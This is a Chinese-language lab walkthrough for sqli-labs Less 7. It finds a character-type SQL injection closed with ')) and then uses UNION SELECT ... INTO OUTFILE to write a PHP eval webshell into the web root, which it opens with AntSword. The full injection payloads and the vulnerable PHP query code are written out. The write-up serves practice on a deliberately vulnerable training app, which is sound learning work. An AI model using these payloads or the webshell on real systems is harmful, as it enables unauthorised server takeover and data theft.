sqli lab php7,sqli-lab 通关指南:Less 7

目录

开启文件读写权限

MySql 使用 secure-file-priv 参数对文件读写进行限制,当参数值为 null 时无法进行文件导出操作。使用这条命令可以查看:

show variables like '%secure%';

3e3febf46a62b1e75dbead78417a563c.png

通过修改 MySQL 下的 my.ini 配置文件就可以启用权限,需要把下面这个字符串写入文件中。

secure_file_priv="/"

5a0253d8eb59a12a2cc31ddb760e140d.png

再次查看此参数,若参数值不为 null 则修改成功。

2b2a99ad947646d2169f46cb9594554e.png

判断注入类型

注入个正常的参数,网页返回 “You are in.... Use outfile......”。

?id=1

aa9f9d44dbdd4ae1952ecaf515a60d04.png

注入单引号和单引号加个括号闭合,网页回显错误信息。

?id=1'

?id=1')

aab9d7ecf4786a9454f46206b44bc355.png

注入单引号再加上 2 个括号闭合,网页回显 “You are in.... Use outfile......”,说明这是用一个单引号和 2 个括号闭合的字符型注入。

?id=1'))

3ba82e8f14fea0dd12b359a4fb3ee206.png

写入文件

我们需要先知道网页所在的文件路径,从 Less 7 是没办法得知的,所以我们转去 Less 1 获取文件路径。这种操作也可以应用在实践中,可以同时利用同一 Web 中的多个注入点。

http://127.0.0.1/sqli-labs-master/Less-1/?id=9999' UNION SELECT 1,@@basedir,@@datadir --+

a049c98e4e7d54b3e7439fe128623dd2.png

使用 UNION 联合查询来注入参数,使用 into outfile 在网页目录下写入一句话木马。注意此处存在转义的问题,所有的 “\” 都要双写。

?id=1')) UNION SELECT 1,2,'<?php @eval($_POST["attack"]);?>' into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\text.php"--+

630f8b791b3a2fb47b533026722b42bc.png

虽然网页显示错误,但是打开文件发现成功写入。

c45d56876502d71e6e31cb661d7576fa.png

WebShell

使用蚁剑连接,记得 url 要加上我们传入的 text.php。

8e1ffc0c1b4e888a291b8bb9c95fb96b.png

连接成功,现在可以随意操作网页所在主机的文件了。

de825902b3e2a54ed9a0784672dbece8.png

关卡 Sql 查询语句

$sql = "SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

$result = mysql_query($sql);

$row = mysql_fetch_array($result);

if($row)

{

echo '';

echo 'You are in.... Use outfile......';

echo "
";

echo "";

}

else

{

echo '';

echo 'You have an error in your SQL syntax';

//print_r(mysql_error());

echo "";

}

标签:文件,网页,Less,outfile,lab,echo,sqli,id

来源: https://www.cnblogs.com/linfangnan/p/13833242.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值